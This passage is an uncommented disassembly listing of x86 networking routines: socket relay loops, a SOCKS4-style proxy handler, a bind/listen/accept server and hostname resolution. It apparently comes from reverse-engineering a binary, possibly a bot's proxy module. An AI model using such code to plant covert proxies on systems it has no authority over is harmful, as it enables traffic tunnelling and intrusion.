loc_13D32E3: ; CODE XREF: sub_13D26E0+C52j mov eax, ebx sub eax, edi cmp eax, 4000h jbe short loc_13D3334 mov edx, [ebp+0BFh] push 0 lea ecx, [esp+11Ch+arg_37C] push 4000h push ecx push edx call recv ; recv mov esi, eax cmp esi, 1 jl short loc_13D3334 cmp esi, 0FFFFFFFFh jz short loc_13D3334 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+12Ch+arg_36C] push esi push eax push ecx call send ; send add edi, esi cmp edi, ebx jl short loc_13D32E3 loc_13D3334: ; CODE XREF: sub_13D26E0+C01j ; sub_13D26E0+C0Cj ... mov eax, ebx sub eax, edi jz short loc_13D337E loc_13D333A: ; CODE XREF: sub_13D26E0+C9Cj push 0 push eax mov eax, [ebp+0BFh] lea edx, [esp+140h+arg_35C] push edx push eax call recv ; recv mov esi, eax cmp esi, 1 jl short loc_13D337E cmp esi, 0FFFFFFFFh jz short loc_13D337E mov edx, [ebp+0BBh] push 0 lea ecx, [esp+14Ch+arg_34C] push esi push ecx push edx call send ; send add edi, esi mov eax, ebx sub eax, edi jnz short loc_13D333A loc_13D337E: ; CODE XREF: sub_13D26E0+C58j ; sub_13D26E0+C77j ... mov al, [ebp+0BAh] test al, al jnz loc_13D360F mov ecx, [ebp+0BBh] push ecx call closesocket ; closesocket or esi, 0FFFFFFFFh mov [esp+15Ch+var_14A], 1 mov [ebp+0BBh], esi jmp loc_13D3612 ; --------------------------------------------------------------------------- loc_13D33AC: ; CODE XREF: sub_13D26E0+BF7j mov esi, recv loc_13D33B2: ; CODE XREF: sub_13D26E0+D0Cj mov ecx, [ebp+0BFh] push 0 lea eax, [esp+11Ch+arg_37C] push 4000h push eax push ecx call esi ; recv cmp eax, 1 jl short loc_13D337E cmp eax, 0FFFFFFFFh jz short loc_13D337E push 0 push eax mov eax, [ebp+0BBh] lea edx, [esp+130h+arg_36C] push edx push eax call send ; send jmp short loc_13D33B2 ; --------------------------------------------------------------------------- loc_13D33EE: ; CODE XREF: sub_13D26E0+66Cj lea ecx, [esp+0D8h+var_C4] push offset dword_445114 push ecx call sub_13AB42D add esp, 8 lea ecx, [esp+0D8h+var_C4] push 0 call sub_13AB7D9 push eax lea ecx, [esp+0E0h+var_C4] call sub_13ABBE4 mov edx, [ebp+0BBh] push eax push edx call send ; send test eax, eax jz loc_13D38B2 cmp eax, ebx jz loc_13D38B2 mov ebx, recv loc_13D3439: ; CODE XREF: sub_13D26E0+EB9j ; sub_13D26E0+F11j ... mov eax, [ebp+0BBh] mov edx, [ebp+0BFh] mov [esp+0E8h+arg_1A8], eax mov [esp+0E8h+arg_1A4], 1 xor eax, eax lea ecx, [esp+0E8h+arg_1A8] loc_13D3460: ; CODE XREF: sub_13D26E0+D8Bj cmp [ecx], edx jz short loc_13D346D inc eax add ecx, 4 cmp eax, 1 jb short loc_13D3460 loc_13D346D: ; CODE XREF: sub_13D26E0+D82j cmp eax, 1 jnz short loc_13D3484 mov [esp+0E8h+arg_1AC], edx mov [esp+0E8h+arg_1A4], 2 loc_13D3484: ; CODE XREF: sub_13D26E0+D90j mov ecx, 1000h xor eax, eax lea edi, [esp+0E8h+arg_3AC] push eax rep stosd push eax lea ecx, [esp+0F0h+arg_1A4] push eax push ecx push eax call select ; select mov eax, [ebp+0BBh] lea edx, [esp+0FCh+arg_190] push edx push eax call near ptr 13E1380h test eax, eax jz short loc_13D3500 mov edx, [ebp+0BBh] push 0 lea ecx, [esp+108h+arg_390] push 4000h push ecx push edx call ebx ; recv cmp eax, 0FFFFFFFFh jz loc_13D337E mov ecx, [ebp+0BFh] push 0 push eax lea eax, [esp+11Ch+arg_380] push eax push ecx call send ; send cmp eax, 0FFFFFFFFh jz loc_13D337E loc_13D3500: ; CODE XREF: sub_13D26E0+DDCj mov eax, [ebp+0BFh] lea edx, [esp+124h+arg_168] push edx push eax call near ptr 13E1380h test eax, eax jz short loc_13D355A mov edx, [ebp+0BFh] push 0 lea ecx, [esp+130h+arg_368] push 4000h push ecx push edx call ebx ; recv cmp eax, 0FFFFFFFFh jz loc_13D337E mov ecx, [ebp+0BBh] push 0 push eax lea eax, [esp+144h+arg_358] push eax push ecx call send ; send cmp eax, 0FFFFFFFFh jz loc_13D337E loc_13D355A: ; CODE XREF: sub_13D26E0+E36j mov edi, Sleep push 5 call edi ; Sleep mov eax, [ebp+0BBh] push 0 lea edx, [esp+154h+arg_344] push 4000h push edx push eax call ebx ; recv mov esi, eax test esi, esi jz loc_13D337E jge short loc_13D359E call WSAGetLastError ; WSAGetLastError cmp eax, 2733h jnz short loc_13D359E push 1 call edi ; Sleep jmp loc_13D3439 ; --------------------------------------------------------------------------- loc_13D359E: ; CODE XREF: sub_13D26E0+EA6j ; sub_13D26E0+EB3j mov edx, [ebp+0BFh] mov edi, send push 0 lea ecx, [esp+164h+arg_334] push esi push ecx push edx call edi ; send mov ecx, [ebp+0BFh] push 0 lea eax, [esp+174h+arg_324] push 4000h push eax push ecx call ebx ; recv mov esi, eax test esi, esi jz loc_13D337E jge short loc_13D35F6 call WSAGetLastError ; WSAGetLastError cmp eax, 2733h jnz short loc_13D35F6 push 1 call Sleep ; Sleep jmp loc_13D3439 ; --------------------------------------------------------------------------- loc_13D35F6: ; CODE XREF: sub_13D26E0+EFAj ; sub_13D26E0+F07j mov eax, [ebp+0BBh] push 0 lea edx, [esp+184h+arg_314] push esi push edx push eax call edi ; send jmp loc_13D3439 ; --------------------------------------------------------------------------- loc_13D360F: ; CODE XREF: sub_13D26E0+CA6j or esi, 0FFFFFFFFh loc_13D3612: ; CODE XREF: sub_13D26E0+CC7j mov al, [esp+158h+var_147] test al, al jnz short loc_13D3632 mov edx, [ebp+0BFh] push edx call closesocket ; closesocket mov [ebp+0BFh], esi mov [esp+15Ch+var_14A], 1 loc_13D3632: ; CODE XREF: sub_13D26E0+F38j lea ecx, [esp+15Ch+var_D4] mov byte ptr [esp+15Ch+arg_5340], 0Dh call sub_13AB626 lea ecx, [esp+15Ch+var_FC] mov byte ptr [esp+15Ch+arg_5340], 0Ch call sub_13AB626 lea ecx, [esp+15Ch+var_114] mov byte ptr [esp+15Ch+arg_5340], 2 call sub_13AB626 lea ecx, [esp+15Ch+var_12C] mov byte ptr [esp+15Ch+arg_5340], 1 call sub_13AB626 lea ecx, [esp+15Ch+var_148] mov byte ptr [esp+15Ch+arg_5340], 0 call sub_13AB626 lea ecx, [esp+15Ch+var_A4] mov [esp+15Ch+arg_5340], esi call sub_13AB8B0 or esi, 0FFFFFFFFh loc_13D36A0: ; CODE XREF: sub_13D26E0+EBj mov al, [esp+15Ch+var_14A] test al, al jz loc_13D2718 loc_13D36AC: ; CODE XREF: sub_13D26E0+1074j ; sub_13D26E0+11CDj mov al, [ebp+0BAh] test al, al jz short loc_13D36C9 mov eax, [ebp+0BBh] push eax call closesocket ; closesocket mov [ebp+0BBh], esi loc_13D36C9: ; CODE XREF: sub_13D26E0+FD4j mov al, [esp+160h+var_14F] test al, al jz short loc_13D36E4 mov ecx, [ebp+0BFh] push ecx call closesocket ; closesocket mov [ebp+0BFh], esi loc_13D36E4: ; CODE XREF: sub_13D26E0+FEFj ; sub_13D26E0+1255j mov ecx, [esp+164h+arg_5330] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 5494h retn ; --------------------------------------------------------------------------- loc_13D36FD: ; CODE XREF: sub_13D26E0+40Aj lea ecx, [esp+0B8h+var_58] mov byte ptr [esp+0B8h+arg_53E4], 0Ch call sub_13AB626 loc_13D370E: ; CODE XREF: sub_13D26E0+3D7j lea ecx, [esp+0B8h+var_70] mov byte ptr [esp+0B8h+arg_53E4], 2 call sub_13AB626 loc_13D371F: ; CODE XREF: sub_13D26E0+191j ; sub_13D26E0+1AAj ... lea ecx, [esp+0B8h+var_88] mov byte ptr [esp+0B8h+arg_53E4], 1 call sub_13AB626 loc_13D3730: ; CODE XREF: sub_13D26E0+85j lea ecx, [esp+0B8h+var_A4] mov byte ptr [esp+0B8h+arg_53E4], 0 call sub_13AB626 lea ecx, [esp+0B8h] mov [esp+0B8h+arg_53E4], esi call sub_13AB8B0 jmp loc_13D36AC ; --------------------------------------------------------------------------- loc_13D3759: ; CODE XREF: sub_13D26E0+503j mov eax, [ebp+0BBh] push eax call closesocket ; closesocket jmp loc_13D38CA ; --------------------------------------------------------------------------- loc_13D376B: ; CODE XREF: sub_13D26E0+644j lea ecx, [esp+0CDh] call sub_13ABBE4 push eax lea ecx, [esp+0D0h+var_B8] push offset dword_44507C push ecx call sub_13AB42D add esp, 0Ch lea ecx, [esp+0CCh+var_B8] push 0 call sub_13AB7D9 push eax lea ecx, [esp+0D4h+var_B8] call sub_13ABBE4 mov edx, [ebp+0BBh] push eax push edx call send ; send mov eax, [ebp+0BBh] mov esi, closesocket push eax call esi ; closesocket mov ecx, [ebp+0BFh] push ecx jmp loc_13D38C8 ; --------------------------------------------------------------------------- loc_13D37C8: ; CODE XREF: sub_13D26E0+660j mov edx, [esp+0D8h+arg_30] lea ecx, [esp+0D8h+var_B] push edx call sub_13ABBE4 push eax lea eax, [esp+0E0h+var_C4] push offset dword_444FD4 push eax call sub_13AB42D add esp, 10h lea ecx, [esp+0D8h+var_C4] push 0 call sub_13AB7D9 push eax lea ecx, [esp+0E0h+var_C4] call sub_13ABBE4 mov ecx, [ebp+0BBh] push eax push ecx call send ; send loc_13D3812: ; CODE XREF: sub_13D26E0+711j ; sub_13D26E0+719j mov edx, [ebp+0BBh] mov esi, closesocket push edx call esi ; closesocket mov eax, [ebp+0BFh] push eax jmp loc_13D38C8 ; --------------------------------------------------------------------------- loc_13D382D: ; CODE XREF: sub_13D26E0+5EEj mov ecx, [ebp+0BBh] push ecx call closesocket ; closesocket jmp loc_13D38CA ; --------------------------------------------------------------------------- loc_13D383F: ; CODE XREF: sub_13D26E0+73Fj lea ecx, [esp+0E8h+var_60] mov byte ptr [esp+0E8h+arg_53B4], 0Dh call sub_13AB626 lea ecx, [esp+0E8h+var_88] mov byte ptr [esp+0E8h+arg_53B4], 0Ch call sub_13AB626 lea ecx, [esp+0E8h+var_A0] mov byte ptr [esp+0E8h+arg_53B4], 2 call sub_13AB626 lea ecx, [esp+0E8h+var_B8] mov byte ptr [esp+0E8h+arg_53B4], 1 call sub_13AB626 lea ecx, [esp+0E8h+var_D4] mov byte ptr [esp+0E8h+arg_53B4], 0 call sub_13AB626 lea ecx, [esp+0E8h+var_30] mov [esp+0E8h+arg_53B4], ebx call sub_13AB8B0 or esi, 0FFFFFFFFh jmp loc_13D36AC ; --------------------------------------------------------------------------- loc_13D38B2: ; CODE XREF: sub_13D26E0+D45j ; sub_13D26E0+D4Dj mov ecx, [ebp+0BBh] mov esi, closesocket push ecx call esi ; closesocket mov edx, [ebp+0BFh] push edx loc_13D38C8: ; CODE XREF: sub_13D26E0+10E3j ; sub_13D26E0+1148j call esi ; closesocket loc_13D38CA: ; CODE XREF: sub_13D26E0+1086j ; sub_13D26E0+115Aj lea ecx, [esp+0F0h+var_68] mov byte ptr [esp+0F0h+arg_53AC], 0Dh call sub_13AB626 lea ecx, [esp+0F0h+var_90] mov byte ptr [esp+0F0h+arg_53AC], 0Ch call sub_13AB626 lea ecx, [esp+0F0h+var_A8] mov byte ptr [esp+0F0h+arg_53AC], 2 call sub_13AB626 lea ecx, [esp+0F0h+var_C0] mov byte ptr [esp+0F0h+arg_53AC], 1 call sub_13AB626 lea ecx, [esp+0F0h+var_DC] mov byte ptr [esp+0F0h+arg_53AC], 0 call sub_13AB626 lea ecx, [esp+0F0h+var_38] mov [esp+0F0h+arg_53AC], ebx call sub_13AB8B0 jmp loc_13D36E4 sub_13D26E0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 6 dup(90h) db 4A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D3DE0 proc near ; CODE XREF: sub_13ABCDEj var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push 43BB08h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_13AC382 push offset dword_44526C lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset dword_43E15C call sub_13AB9D7 mov ecx, [esp+18h+var_10] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_13D3DE0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D3E50 proc near ; CODE XREF: sub_13AB52Cj sub_13AB68Fj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_13AC508 test [esp+4+arg_0], 1 jz short loc_13D3E68 push esi call near ptr 13E0C02h add esp, 4 loc_13D3E68: ; CODE XREF: sub_13D3E50+Dj mov eax, esi pop esi retn 4 sub_13D3E50 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D3E80 proc near ; CODE XREF: sub_13AC508j push esi mov esi, ecx mov eax, [esi+9Eh] mov dword ptr [esi], offset dword_43E15C cmp eax, 0FFFFFFFFh jz short loc_13D3E9B push eax call closesocket ; closesocket loc_13D3E9B: ; CODE XREF: sub_13D3E80+12j mov ecx, esi call sub_13ABB9E pop esi retn sub_13D3E80 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D3EC0 proc near ; CODE XREF: sub_13AB4E1j var_C = dword ptr -0Ch push 0FFFFFFFFh push 43BB2Bh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push edi mov edi, ecx mov dword ptr [edi+9Eh], 0FFFFFFFFh loc_13D3EE3: ; CODE XREF: sub_13D3EC0+48j mov eax, [edi+99h] mov cl, [eax+11Ch] test cl, cl jz short loc_13D3F0A mov ecx, [edi+3Bh] push ecx call sub_13ABD7E add esp, 4 cmp eax, 0FFFFFFFFh mov [edi+9Eh], eax jz short loc_13D3EE3 loc_13D3F0A: ; CODE XREF: sub_13D3EC0+31j mov edx, [edi+99h] mov al, [edx+11Ch] test al, al jz loc_13D3FDC push ebp push esi loc_13D3F20: ; CODE XREF: sub_13D3EC0+114j mov eax, [edi+9Eh] push eax call sub_13AB6DF mov ebp, eax add esp, 4 cmp ebp, 0FFFFFFFFh jz loc_13D3FBB test ebp, ebp jz short loc_13D3FBB push 0C3h call near ptr 13E0C1Ah add esp, 4 mov [esp+18h+var_C], eax test eax, eax mov dword ptr [esp+18h], 0 jz short loc_13D3F66 mov ecx, eax call sub_13ABC84 mov esi, eax jmp short loc_13D3F68 ; --------------------------------------------------------------------------- loc_13D3F66: ; CODE XREF: sub_13D3EC0+99j xor esi, esi loc_13D3F68: ; CODE XREF: sub_13D3EC0+A4j mov ecx, [edi+99h] mov [esi+9Dh], edi mov [esi+99h], ecx mov edx, [edi+3Bh] lea eax, [edi+26h] lea ecx, [esi+26h] push eax mov dword ptr [esp+1Ch], 0FFFFFFFFh mov [esi+3Bh], edx mov [esi+0BBh], ebp call sub_13AC3BE mov cl, [edi+97h] mov [esi+97h], cl mov dl, [edi+98h] mov ecx, esi mov [esi+98h], dl call sub_13AB7D4 jmp short loc_13D3FC6 ; --------------------------------------------------------------------------- loc_13D3FBB: ; CODE XREF: sub_13D3EC0+74j ; sub_13D3EC0+7Cj push 0FAh call Sleep ; Sleep loc_13D3FC6: ; CODE XREF: sub_13D3EC0+F9j mov eax, [edi+99h] mov cl, [eax+11Ch] test cl, cl jnz loc_13D3F20 pop esi pop ebp loc_13D3FDC: ; CODE XREF: sub_13D3EC0+58j mov edi, [edi+9Eh] cmp edi, 0FFFFFFFFh jz short loc_13D3FEE push edi call closesocket ; closesocket loc_13D3FEE: ; CODE XREF: sub_13D3EC0+125j mov ecx, [esp+14h+var_C] pop edi mov large fs:0, ecx add esp, 10h retn sub_13D3EC0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D4050 proc near ; CODE XREF: sub_13AB77Aj push ebx push esi mov esi, ecx push edi mov al, [esi+9Dh] lea edi, [esi+11h] test al, al mov eax, [esi+3Bh] lea ebx, [esi+26h] push eax mov ecx, edi jz short loc_13D4078 call sub_13ABBE4 push eax push offset dword_4452C4 jmp short loc_13D4083 ; --------------------------------------------------------------------------- loc_13D4078: ; CODE XREF: sub_13D4050+19j call sub_13ABBE4 push eax push offset dword_44529C loc_13D4083: ; CODE XREF: sub_13D4050+26j mov ecx, ebx call sub_13AB8D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_E19CC5 call sub_13ABC48 add esp, 1Ch mov ecx, esi call sub_13AB4E1 mov eax, [esi+3Bh] mov ecx, edi push eax call sub_13ABBE4 push eax push offset dword_445274 mov ecx, ebx call sub_13AB8D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_E19CC5 call sub_13ABC48 add esp, 1Ch pop edi pop esi pop ebx retn sub_13D4050 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D4120 proc near ; CODE XREF: sub_13AC51Cj var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push 43BB48h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_13AC382 push offset dword_4452F0 lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset dword_43E16C call sub_13AB9D7 mov ecx, [esp+18h+var_10] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_13D4120 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D4190 proc near ; CODE XREF: sub_13ABC70j sub_13ABF04j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_13AC387 test [esp+4+arg_0], 1 jz short loc_13D41A8 push esi call near ptr 13E0C02h add esp, 4 loc_13D41A8: ; CODE XREF: sub_13D4190+Dj mov eax, esi pop esi retn 4 sub_13D4190 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13D41C0 proc near ; CODE XREF: sub_13AC387j jmp sub_13ABB9E sub_13D41C0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D41E0 proc near ; CODE XREF: sub_13AB4AFj var_81D = byte ptr -81Dh var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_808 = byte ptr -808h var_807 = byte ptr -807h var_806 = word ptr -806h var_804 = dword ptr -804h var_800 = byte ptr -800h var_400 = byte ptr -400h sub esp, 820h lea eax, [esp+820h+var_81D] push ebx push ebp push esi mov esi, recv mov ebp, ecx push edi push 0 push 1 mov ecx, [ebp+0A1h] push eax push ecx call esi ; recv cmp eax, 1 jge short loc_13D4221 mov edx, [ebp+0A1h] push edx call closesocket ; closesocket pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_13D4221: ; CODE XREF: sub_13D41E0+27j cmp [esp+830h+var_81D], 4 jnz loc_13D440C mov ecx, [ebp+0A1h] push 0 lea eax, [esp+834h+var_807] push 406h push eax push ecx call esi ; recv cmp eax, 1 jge short loc_13D425E mov edx, [ebp+0A1h] push edx call closesocket ; closesocket pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_13D425E: ; CODE XREF: sub_13D41E0+64j cmp [esp+830h+var_807], 1 jnz loc_13D440C mov cx, [esp+830h+var_806] mov edx, [esp+830h+var_804] xor eax, eax push 6 mov [esp+834h+var_818], eax push 1 mov [esp+838h+var_814], eax push 2 mov [esp+83Ch+var_810], eax mov word ptr [esp+83Ch+var_818], 2 mov [esp+83Ch+var_80C], eax mov word ptr [esp+83Ch+var_818+2], cx mov [esp+83Ch+var_814], edx call socket ; socket mov ebx, eax lea eax, [esp+830h+var_818] push 10h push eax push ebx call connect ; connect cmp eax, 0FFFFFFFFh mov [esp+830h+var_808], 0 jnz short loc_13D42F9 mov edx, [ebp+0A1h] mov ecx, 100h xor eax, eax lea edi, [esp+830h+var_800] mov [esp+830h+var_807], 5Bh push eax rep stosd lea ecx, [esp+834h+var_808] push 8 push ecx push edx call send ; send mov eax, [ebp+0A1h] push eax call closesocket ; closesocket pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_13D42F9: ; CODE XREF: sub_13D41E0+D8j mov edx, [ebp+0A1h] mov ecx, 100h xor eax, eax lea edi, [esp+830h+var_800] mov [esp+830h+var_807], 5Ah push eax rep stosd lea ecx, [esp+834h+var_808] push 8 push ecx push edx call send ; send mov ecx, [ebp+0A1h] mov esi, ioctlsocket lea eax, [esp+830h+var_81C] mov [esp+830h+var_81C], 1 push eax push 8004667Eh push ecx call esi ; ioctlsocket lea edx, [esp+830h+var_81C] mov [esp+830h+var_81C], 1 push edx push 8004667Eh push ebx call esi ; ioctlsocket loc_13D4356: ; CODE XREF: sub_13D41E0+1AFj ; sub_13D41E0+1FEj ... mov edi, recv push 0 lea eax, [esp+834h+var_400] push 400h push eax push ebx call edi ; recv mov esi, eax test esi, esi jz loc_13D43FA jge short loc_13D4391 call WSAGetLastError ; WSAGetLastError cmp eax, 2733h jz short loc_13D4391 push 0Ah call Sleep ; Sleep jmp short loc_13D4356 ; --------------------------------------------------------------------------- loc_13D4391: ; CODE XREF: sub_13D41E0+198j ; sub_13D41E0+1A5j mov edx, [ebp+0A1h] push 0 lea ecx, [esp+834h+var_400] push esi push ecx push edx call send ; send mov ecx, [ebp+0A1h] push 0 lea eax, [esp+834h+var_400] push 400h push eax push ecx call edi ; recv mov esi, eax test esi, esi jz short loc_13D43FA jge short loc_13D43E3 call WSAGetLastError ; WSAGetLastError cmp eax, 2733h jz short loc_13D43E3 push 0Ah call Sleep ; Sleep jmp loc_13D4356 ; --------------------------------------------------------------------------- loc_13D43E3: ; CODE XREF: sub_13D41E0+1E7j ; sub_13D41E0+1F4j push 0 lea edx, [esp+834h+var_400] push esi push edx push ebx call send ; send jmp loc_13D4356 ; --------------------------------------------------------------------------- loc_13D43FA: ; CODE XREF: sub_13D41E0+192j ; sub_13D41E0+1E5j mov eax, [ebp+0A1h] mov esi, closesocket push eax call esi ; closesocket push ebx call esi ; closesocket loc_13D440C: ; CODE XREF: sub_13D41E0+46j ; sub_13D41E0+83j pop edi pop esi pop ebp pop ebx add esp, 820h retn sub_13D41E0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D44B0 proc near ; CODE XREF: sub_13AC56Cj var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push 43BB68h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_13AC382 push offset dword_4452F0 lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset dword_43E17C call sub_13AB9D7 mov ecx, [esp+18h+var_10] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_13D44B0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D4520 proc near ; CODE XREF: sub_13AB432j ; .idata:013ABBA8j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_13AC03A test [esp+4+arg_0], 1 jz short loc_13D4538 push esi call near ptr 13E0C02h add esp, 4 loc_13D4538: ; CODE XREF: sub_13D4520+Dj mov eax, esi pop esi retn 4 sub_13D4520 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13D4550 proc near ; CODE XREF: sub_13AC03Aj jmp sub_13ABB9E sub_13D4550 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D4570 proc near ; CODE XREF: sub_13ABC8Ej var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = byte ptr -18h var_C = dword ptr -0Ch mov eax, large fs:0 push 0FFFFFFFFh push 43BB8Bh push eax mov large fs:0, esp sub esp, 28h push ebx push esi mov esi, ecx mov eax, [esi+3Bh] lea ecx, [esi+11h] push eax lea ebx, [esi+26h] call sub_13ABBE4 push eax push offset dword_445318 mov ecx, ebx call sub_13AB8D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_E19CC5 call sub_13ABC48 add esp, 1Ch push 6 push 1 push 2 call socket ; socket cmp eax, 0FFFFFFFFh mov [esi+9Dh], eax jz loc_13D4779 mov cx, [esi+3Bh] xor eax, eax mov [esp+3Ch+var_2C], eax push ecx mov [esp+40h+var_28], eax mov word ptr [esp+40h+var_2C], 2 mov [esp+40h+var_24], eax mov [esp+40h+var_20], eax call htons ; htons mov word ptr [esp+3Ch+var_2C+2], ax mov eax, [esi+9Dh] lea edx, [esp+3Ch+var_2C] push 10h push edx push eax mov [esp+48h+var_34], 10h call bind ; bind test eax, eax jz short loc_13D4646 mov ecx, [esi+9Dh] push ecx call closesocket ; closesocket pop esi pop ebx mov ecx, [esp+34h+var_C] mov large fs:0, ecx add esp, 34h retn ; --------------------------------------------------------------------------- loc_13D4646: ; CODE XREF: sub_13D4570+B6j mov edx, [esi+99h] push ebp push edi mov al, [edx+11Ch] test al, al jz loc_13D4730 loc_13D465C: ; CODE XREF: sub_13D4570+1BAj mov eax, [esi+9Dh] push 0Ah push eax call listen ; listen cmp eax, 0FFFFFFFFh jnz short loc_13D4680 push 0FAh call Sleep ; Sleep jmp loc_13D471C ; --------------------------------------------------------------------------- loc_13D4680: ; CODE XREF: sub_13D4570+FEj mov eax, [esi+9Dh] lea ecx, [esp+40h+var_30] lea edx, [esp+40h+var_18] push ecx push edx push eax call accept ; accept mov ebp, eax cmp ebp, 0FFFFFFFFh jz loc_13D4730 xor edi, edi cmp ebp, edi jz loc_13D4730 push 0A5h call near ptr 13E0C1Ah add esp, 4 mov [esp+40h+var_2C], eax cmp eax, edi mov [esp+40h], edi jz short loc_13D46CE mov ecx, eax call sub_13AC51C mov edi, eax loc_13D46CE: ; CODE XREF: sub_13D4570+153j mov ecx, [esi+99h] mov [edi+9Dh], esi mov [edi+99h], ecx mov edx, [esi+3Bh] push ebx lea ecx, [edi+26h] mov dword ptr [esp+44h], 0FFFFFFFFh mov [edi+3Bh], edx mov [edi+0A1h], ebp call sub_13AC3BE mov al, [esi+97h] mov [edi+97h], al mov cl, [esi+98h] mov [edi+98h], cl mov ecx, edi call sub_13AB7D4 loc_13D471C: ; CODE XREF: sub_13D4570+10Bj mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jnz loc_13D465C loc_13D4730: ; CODE XREF: sub_13D4570+E6j ; sub_13D4570+12Cj ... mov eax, [esi+9Dh] pop edi cmp eax, 0FFFFFFFFh pop ebp jz short loc_13D4744 push eax call closesocket ; closesocket loc_13D4744: ; CODE XREF: sub_13D4570+1CBj mov eax, [esi+3Bh] lea ecx, [esi+11h] push eax call sub_13ABBE4 push eax push offset dword_4452F8 mov ecx, ebx call sub_13AB8D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_E19CC5 call sub_13ABC48 add esp, 1Ch loc_13D4779: ; CODE XREF: sub_13D4570+69j mov ecx, [esp+3Ch+var_C] pop esi pop ebx mov large fs:0, ecx add esp, 34h retn sub_13D4570 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D4820 proc near ; CODE XREF: sub_13ABB4Ej arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax call gethostbyname ; gethostbyname test eax, eax jz short loc_13D4841 mov ecx, [eax+0Ch] mov edx, [ecx] mov ecx, [esp+arg_4] mov eax, [edx] mov [ecx], eax mov al, 1 retn 8 ; --------------------------------------------------------------------------- loc_13D4841: ; CODE XREF: sub_13D4820+Dj xor al, al retn 8 sub_13D4820 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D4860 proc near ; CODE XREF: sub_13AC4C2j var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_400 = byte ptr -400h arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 50Ch push ebx mov ebx, [esp+510h+arg_4] push ebp push esi push edi mov [esp+51Ch+var_50C], 0 mov [esp+51Ch+var_508], 0 loc_13D4881: ; CODE XREF: sub_13D4860+12Cj mov ebp, [esp+51Ch+arg_0] mov [esp+51Ch+var_504], 1 mov [esp+51Ch+var_500], ebp xor eax, eax lea ecx, [esp+51Ch+var_500] loc_13D489A: ; CODE XREF: sub_13D4860+45j cmp [ecx], ebx jz short loc_13D48A7 inc eax add ecx, 4 cmp eax, 1 jb short loc_13D489A loc_13D48A7: ; CODE XREF: sub_13D4860+3Cj cmp eax, 1 jnz short loc_13D48B8 mov [esp+51Ch+var_4FC], ebx mov [esp+51Ch+var_504], 2 loc_13D48B8: ; CODE XREF: sub_13D4860+4Aj lea eax, [esp+51Ch+var_50C] lea ecx, [esp+51Ch+var_504] push eax push 0 push 0 push ecx push 2 